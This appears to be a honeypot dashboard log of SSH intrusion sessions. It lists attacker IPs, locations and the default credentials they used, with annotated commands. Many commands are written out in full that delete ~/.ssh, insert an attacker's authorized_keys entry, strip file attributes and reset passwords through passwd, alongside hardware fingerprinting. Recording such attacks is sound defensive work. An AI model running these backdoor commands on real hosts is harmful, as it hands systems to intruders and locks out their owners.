$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "test\nzaxEc6joTQTW\nzaxEc6joTQTW"|passwd|bash
$ Enter new UNIX password:
$ echo "test\nzaxEc6joTQTW\nzaxEc6joTQTW\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 cipher_root_70 (161.132.180.118) β€” Lima, Peru Β· 1 session Β· 20 cmds
2026-03-23 09:22 EDT Β· as deploy/deploy123
ssh-rsa key injection β†’ .ssh directory sanitization and chattr locking β†’ passwd brute-force with hardcoded deploy/deploy123 β†’ hardware profiling via /proc/cpuinfo β†’ memory audit with free β†’ binary inspection of ls β†’ cron persistence check β†’ system load monitoring via top
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "deploy123\ndFp3nl3fLfWL\ndFp3nl3fLfWL"|passwd|bash
$ Enter new UNIX password:
$ echo "deploy123\ndFp3nl3fLfWL\ndFp3nl3fLfWL\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 ghost_root_72 (113.160.241.199) β€” Da Nang, Vietnam Β· 2 sessions Β· 2 cmds
2026-03-21 17:03 EDT Β· as root/admin
echo
$ echo TEST Γ—2
🎭 chateau_root (161.97.123.69) β€” Lauterbourg, France Β· 16 sessions Β· 48 cmds
2026-03-23 05:13 EDT Β· as admin/admin123, deploy/deploy, guest/guest
make executable (world) β†’ core count check
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "yx4V7fp7\nyx4V7fp7" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ uname -m Γ—16
$ nproc Γ—16
↳ core count check
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "user\n22nmQ9Lo\n22nmQ9Lo" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "Qm5taZ8l\nQm5taZ8l" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "tomcat\niUWUeinQ\niUWUeinQ" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "oracle\nLumnPafn\nLumnPafn" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "oracle123\nRkbGX2BO\nRkbGX2BO" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "ubuntu\n7Ezsu0nW\n7Ezsu0nW" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "postgres\nwJSDIhqu\nwJSDIhqu" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "tomcat123\nMLW20V5R\nMLW20V5R" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "guest\ngOjIhNwZ\ngOjIhNwZ" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "admin123\n5aXmJnDF\n5aXmJnDF" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "3qRh3wYT\n3qRh3wYT" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "LYLFliLQ\nLYLFliLQ" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "test\nv8gV6VrZ\nv8gV6VrZ" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "deploy\nuQNYIwkA\nuQNYIwkA" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
$ arch_info=$(uname -m); cpu_count=$(nproc); echo -e "mysql\nxHIolkFc\nxHIolkFc" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; echo "$arch_info:$cpu_count"
↳ make executable (world)
🎭 lotus_root (35.200.201.144) β€” Mumbai, India Β· 35 sessions Β· 35 cmds
2026-03-23 00:03 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 phantom_root_43 (154.125.147.88) β€” Dakar, Senegal Β· 1 session Β· 2 cmds
2026-03-23 00:39 EDT Β· as oracle/Admin123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 clog_root_2 (206.189.14.204) β€” Amsterdam, Netherlands Β· 4 sessions Β· 16 cmds
2026-03-23 00:18 EDT Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 samba_root_5 (177.157.203.75) β€” Barbacena, Brazil Β· 1 session Β· 2 cmds
2026-03-23 00:11 EDT Β· as oracle/Admin123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wok_root_32 (182.150.115.56) β€” Chengdu, China Β· 1 session Β· 2 cmds
2026-03-22 21:24 EDT Β· as oracle/admin123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
